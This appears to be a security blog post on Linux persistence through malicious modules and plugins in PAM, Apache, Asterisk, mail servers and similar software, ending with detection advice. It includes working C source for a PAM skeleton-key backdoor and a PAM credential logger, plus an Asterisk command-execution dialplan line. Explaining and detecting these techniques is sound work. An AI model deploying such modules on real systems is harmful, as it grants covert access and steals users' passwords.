Introduction
A less common, but powerful persistence mechanism is abusing modular software. Many services, clients, and other tools support third-party modules or scripting extensions If one of these extensible services is running, an attacker may be able to introduce a malicious module–abusing it to persist on the system.
These types of attacks are harder to find–not because they’re deeply hidden, but because they’re situational and less commonly discussed. Not every host will be running Apache or Asterisk, but most will be running cron or systemd. As a result, defenders and automated security checks often overlook these services entirely.
None of these techniques are novel, but they remain underutilized in modern detection and hunting workflows. Abusing built-in extension mechanisms–modules, plugins, filters, scripts–has been around for decades. Because of that, I won’t be providing polished, copy/paste-ready examples unless the technique is already well-known and widely covered (like malicious PAM modules or mod_backdoor for Apache).
The point here isn’t to hand out implants–it’s to inform you that almost any extensible system can be abused in this manner. The examples within this post are only the tip of the iceberg.
PAM
Covered previously in Linux Persistence: SSH, but worth another mention–PAM hooks into most login systems for remotely accessible services like SSH or telnet.
PAM is probably the most commonly-abused modular software when it
comes to persistence. PAM modules run as root, unlike web server
modules which typically run as low-privileged users like www-data
.
Malicious PAM modules often provide one or more of the following capabilities:
-
Backdoor access using hard-coded credentials
-
Environmental triggers that silently grant access
-
Credential logging for future lateral movement
Skeleton Key Backdoors
One common trick is to create a “skeleton key”–a password that works
for any user, regardless of what is stored in /etc/shadow
. This is
accomplished via a PAM module that intercepts the password, compares
it against a hard-coded value, and–if it matches–grants access
before the usual authentication process even runs.
Here is a minimal example:
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#define PASSWORD "ultra_cool_password" // change this!
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,int argc, const char **argv) {
const char *password;
pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
if (password && strcmp(password, PASSWORD) == 0)
return PAM_SUCCESS;
return PAM_IGNORE;
}
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
Compilation, installation, and integration module into PAM is left as an exercise to the reader. Modifying PAM is risky. Mistakes can brick your login flow and lock you out of the system. Always thoroughly test on non-critical systems first.
Credential Harvesters
Another favorite PAM abuse technique: logging plain-text passwords. Since PAM modules operate within the authentication pipeline, they see credentials before they are hashed or passed along–no cracking required!
Attackers often modify pam_unix
or insert a custom module that
silently logs credentials to a file. For example:
#include <stdio.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#define LOGFILE "/var/log/.cutepasswords"
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user;
const char *password;
FILE *fp;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
if (user && password) {
fp = fopen(LOGFILE, "a");
if (fp) {
fprintf(fp, "user: %s pass: %s\n", user, password);
fclose(fp);
}
}
return PAM_IGNORE;
}
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
As noted above, exercise caution. Bad PAM code can break login functionality entirely, locking everyone out of a system.
Apache
Apache supports custom modules and is widely used, making it one of the more common services abused for persistence–probably second only to PAM in real-world usage.
A malicious module can hook into Apache’s request-handling pipeline, allowing attackers to intercept HTTP traffic, spawn commands, siphon sensitive data, or act as a stealthy web shell.
One well-known example is
mod_backdoor
, a
malicious Apache module that provides attackers with backdoor access
via special HTTP requests. Once installed, it blends in with other
modules and can be triggered remotely.
Installing a malicious Apache module typically involves:
-
Compiling the module using
apxs
-
Placing the compiled
.so
file in Apache’s module directory -
Enabling it with
a2enmod modulename
-
Adding an entry to
httpd.conf
ormods-enabled/
to keep it loaded across service restarts
Malicious Apache modules will be ran under the user context of the
httpd service (usually www-data
, www
, httpd
, etc.), and not the
root user–though in rare cases, this is the case. Regardless, this
level of access is often enough to maintain a foothold.
Asterisk
Asterisk servers tend to be goldmines for attackers. Most organizations want their phone systems up 24/7/365, which means that these systems often have long uptimes and tend to be ignored during patching cycles.
It’s not uncommon to find PBX systems running older or unmaintained telephony distributions like FreePBX, Elastix, or AsteriskNOW. Many of these projects are defunct or seldom-updated, but they still exist in the wild–because ripping out a working PBX and replacing it with something modern can be a painful, non-trivial task.
Dialplan abuse
Asterisk’s dialplan is feature-rich and allows spawning external commands directly from within its configuration syntax. This can be abused to execute code in response to specific calls or triggers.
Example:
exten => 1337,1,System(echo 'ph34r' >>/tmp/pwned)
With a little creativity, attackers can hide malicious behavior behind obscure extensions, caller ID triggers, or specific call flow conditions.
Modules
Asterisk supports native C modules that can extend or override built-in behavior. Modules can hook into call flows, voicemail prompts, SIP events, or even add custom applications to the dialplan.
You could, for example:
-
Trigger a backdoor when a specific voicemail PIN is entered
-
Register a custom dialplan application that spawns an implant
-
Log audio, metadata, and DTMF sequences
-
Bypass authentication for specific SIP endpoints
Official Asterisk module API documentation:
Email Servers (Postfix, Exim, etc.)
Most email server software supports content filtering or custom routing logic–making them ripe for abuse. Whether you’re dealing with Postfix, Exim, Sendmail, or something else, the idea is the same: email can be inspected, re-written, or piped through external commands before delivery.
Attackers can abuse this functionality by introducing filters or routing rules that execute commands whenever a specially crafted message is received.
Postfix
Postfix doesn’t support in-process scripting, but it can hand off mail
to external content filters, which are typically defined in main.cf
and master.cf
.
With malicious filters configured, attackers can trigger commands by sending an email with a specific subject, sender, or payload.
See: https://www.postfix.org/FILTER_README.html
Exim
Exim also supports filtering capabilities, including per-user
.forward
-style filter files and full scripting within the mail
routing configuration.
Malicious filters can match subject lines. headers, sender addresses, or message bodies–and pipe the message to arbitrary commands.
See: https://www.exim.org/exim-html-current/doc/html/spec_html/filter_ch-exim_filter_files.html#SECTpipe
Auditd
Auditd supports real-time event forwarding via plugins, which can be used to trigger commands or persistence mechanisms based on system call activity.
Although I’ve never seen auditd plugins abused this way in the wild, it is absolutely within the realm of possibility–and it highlights how modular software can be quietly repurposed for persistence.
Security tools can be a great place for attackers to hide–both because attackers can find it hilarious, and because in many organizations, the security team operates with little oversight. Administrators might see auditd plugins installed and simply assume that they’re legitimate, brushing them off because “that belongs to the security team.” In environments with weak change control or siloed responsibilities, this kind of trust can be easily abused.
See also:
IRC Clients
Almost all IRC clients support some form of scripting–typically including a fully-featured interpreter like TCL or Perl, or via a domain-specific language such as those used in mIRC, ircii, and BitchX.
Back when IRC was more widely used, attackers would sometimes deliver malicious scripts to victims, socially engineering them through DCC, chat messages, or online script repositories. In more targeted scenarios, attackers would compromise a system and install their own malicious scripts directly into their victim’s IRC client. Once loaded, these scripts could execute system commands, sniff private messages, and allow remote control of the client.
This kind of abuse was once surprisingly common, but has mostly faded with the decline of IRC as a mainstream platform. Still, it’s a good reminder that any application with scripting support is a potential persistence vector, especially in niche or enthusiast environments.
Text Editors
People can be outright crazy about their text editors–opting to “live” inside them like reclusive digital warlocks. I’m pretty sure that there have been fist fights, divorces, and possibly even murders directly resulting from disagreements over which editor is superior.
Many editors support features conductive to implant development: command execution, sockets, and scripting support–perfect for attackers to abuse!
A text editor is also one of those tools that’s almost guaranteed to be launched by the victim. One way or another, they’ll eventually want to edit something.
Defense Against Modular Backdoors
Detecting abuse of modular software can be tricky–it’s often hidden in plain sight, riding along with features that are supposed to be there and living within files that are meant to be modified. But there are some solid steps defenders can take:
-
File Integrity Monitoring - Track changes to directories where modules, scripts, filters, etc. are stored.
-
Baseline Deviation - Know what modules and scripts are normally installed. Treat unexpected additions and unexplained changes as suspicious, even if the files look legitimate.
-
Audit and Log Module Loads - If possible, enable detailed logging for services that support it.
-
Monitor for Unusual Syscalls - Modular backdoors often spawn shells, write files, or make outbound connections to objects that the underlying service has no business accessing. Monitoring for these outliers may reveal the presence of a modular implant.
-
Code Reviews of Custom Scripts and Filters - If your organization uses custom scripts, filters, or extensions, review them regularly. It is also highly recommended to commit these configurations to a version control system (such as Git or SVN) and subject them to similar review processes as internal application code.
Conclusion
Modular software abuse can provide long-lasting, surreptitious access to compromised systems. Scripts, plugins, and filters are often custom-made, not version controlled, or installed outside of package management–making it hard to define what’s “normal”, and easy for attackers to blend in.
These techniques aren’t as widely abused as cron jobs or startup scripts, simply because they rely on specific software being present. But when the right conditions are met, modular software backdoors are extremely powerful–and can be far harder to detect than more common persistence mechanisms.
Worse yet, because there are so many different ways this can be done–and because they’re relatively uncommon–many security tools don’t check for these techniques at all. These techniques can and often do fall through the cracks of detection frameworks and EDR logic, leaving defenders blind to an entire class of potential backdoors.